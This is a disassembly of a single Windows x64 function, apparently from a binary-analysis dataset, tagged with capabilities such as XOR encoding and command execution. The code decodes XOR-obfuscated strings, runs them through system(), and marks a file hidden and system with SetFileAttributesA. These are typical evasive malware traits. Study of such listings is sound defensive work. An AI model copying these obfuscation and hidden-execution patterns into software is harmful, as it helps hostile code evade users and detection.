Function at 0x140066e10
Capabilities:
Authenticate hmac
Encode data using xor
Execute command
Set file attributes

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
lea rbp, [r11 - 0x238]
sub rsp, 0x330
mov rax, qword [0x140169600]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov qword [r11 + 8], rsi
mov ecx, 0xfffffff5
mov qword [r11 + 0x10], rdi
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [str.VZD8]
xor ebx, ebx
cmp byte [0x140145a47], bl
mov rsi, rax
mov edi, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x20], ecx
je 0x140066f34
cmp edi, 2
jl 0x140066ef6
movdqa xmm3, xmmword [0x1400dcdb0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140148b30]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140148b30]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140148a70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140148a90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140148aa0]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140066f34
lea r9, [rsp + 0x20]
mov r8d, ebx
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140066f00
movaps xmmword [rsp + 0x320], xmm6
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x310], xmm7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp - 0x20]
mov edx, 0x104
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
test eax, eax
jne 0x140067277
lea edx, [rax + 0x5c]
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140066fa0
mov byte [rax], bl
movups xmm0, xmmword [0x140145a50]
mov r8d, ebx
movups xmm1, xmmword [0x140145a60]
movzx eax, word [0x140145ac8]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140145a70]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140145a90]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140145ab0]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140145a80]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [str.LS_C_]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x140145aa0]
mov word [rbp - 0x58], ax
movzx eax, byte [0x140145aca]
movsd qword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x80], xmm1
mov byte [rbp - 0x56], al
cmp edi, 2
jl 0x14006715f
movdqa xmm0, xmmword [0x140148aa0]
lea rcx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400dcdb0]
movdqa xmm4, xmmword [0x140148b30]
movdqa xmm6, xmmword [0x140148a70]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140148a90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140148a90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x140067050
cmp r8d, 0x7b
jge 0x1400671a4
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x7b
jl 0x140067170
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x140145ad9], bl
movsd xmm0, qword [0x140145ad0]
movzx eax, word [0x140145ad8]
movsd qword [rsp + 0x20], xmm0
mov word [rsp + 0x28], ax
je 0x140067203
xor byte [rsp + 0x21], 0x36
xor byte [rsp + 0x22], 0x37
xor byte [rsp + 0x23], 0x38
xor byte [rsp + 0x24], 0x39
xor byte [rsp + 0x25], 0x3a
xor byte [rsp + 0x26], 0x3b
xor byte [rsp + 0x27], 0x3c
xor byte [rsp + 0x28], 0x3d
xor byte [rsp + 0x29], 0x3e
mov byte [rsp + 0x20], 0x43
mov edx, 6
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [0x140145ae9], bl
movsd xmm0, qword [str.vR_R]
movzx eax, word [0x140145ae8]
movsd qword [rsp + 0x20], xmm0
mov word [rsp + 0x28], ax
je 0x140067267
xor byte [rsp + 0x21], 0x36
xor byte [rsp + 0x22], 0x37
xor byte [rsp + 0x23], 0x38
xor byte [rsp + 0x24], 0x39
xor byte [rsp + 0x25], 0x3a
xor byte [rsp + 0x26], 0x3b
xor byte [rsp + 0x27], 0x3c
xor byte [rsp + 0x28], 0x3d
xor byte [rsp + 0x29], 0x3e
mov byte [rsp + 0x20], 0x43
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14006745a
movups xmm0, xmmword [str.pDEWK]
mov r8d, ebx
movups xmm1, xmmword [0x140145b00]
mov eax, dword [0x140145b40]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140145b10]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140145b30]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140145b20]
mov dword [rbp - 0x80], eax
movzx eax, word [0x140145b44]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov word [rbp - 0x7c], ax
cmp edi, 2
jl 0x1400673f9
movdqa xmm5, xmmword [0x1400dcdb0]
lea rcx, [rsp + 0x30]
movdqa xmm4, xmmword [0x140148b30]
movdqa xmm6, xmmword [0x140148a70]
movdqa xmm7, xmmword [0x140148a80]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x140067300
cmp r8d, 0x2b
jge 0x140067448
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x140067410
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
cmp word [0x140145b4e], bx
mov rax, qword [0x140145b48]
mov qword [rsp + 0x20], rax
je 0x140067538
cmp edi, 2
jl 0x1400674f1
movdqa xmm3, xmmword [0x1400dcdb0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140148b30]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140148b30]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140148a70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x20]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140148a80]
xorps xmm2, xmm0
movq qword [rsp + 0x20], xmm2
jmp 0x140067538
lea r9, [rsp + 0x20]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x140067500
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov edx, 9
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp word [0x140145b52], bx
lea rdx, [rsp + 0x20]
mov eax, dword [0x140145b50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov dword [rsp + 0x20], eax
je 0x140067587
xor word [rsp + 0x22], 0x36
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x20], ax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov edx, 7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x140145b54]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], eax
mov ecx, 0x5d
movzx eax, word [0x140145b58]
xor word [rsp + 0x22], 0x36
xor ax, 0x37
mov word [rsp + 0x20], cx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov word [rsp + 0x24], ax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
movups xmm0, xmmword [str.vR_R__]
movzx eax, word [0x140145b80]
cmp edi, 2
movups xmm1, xmmword [str.n_M__.0NE]
mov rsi, qword [rsp + 0x340]
mov rdi, qword [rsp + 0x348]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x30], ax
movups xmmword [rbp - 0x40], xmm1
jl 0x140067734
movdqa xmm5, xmmword [0x1400dcdb0]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140148b30]
movdqa xmm6, xmmword [0x140148a70]
movdqa xmm7, xmmword [0x140148a80]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x140067640
cmp ebx, 0x11
jge 0x140067773
movsxd rax, ebx
lea r8, [rbp - 0x50]
lea r8, [r8 + rax*2]
nop
mov eax, 0x8fb823ef
lea r8, [r8 + 2]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x35
xor word [r8 - 2], ax
cmp ebx, 0x11
jl 0x140067740
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
movaps xmm7, xmmword [rsp + 0x310]
movaps xmm6, xmmword [rsp + 0x320]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.1400cc080
mov rbx, qword [rsp + 0x350]
add rsp, 0x330
pop rbp
ret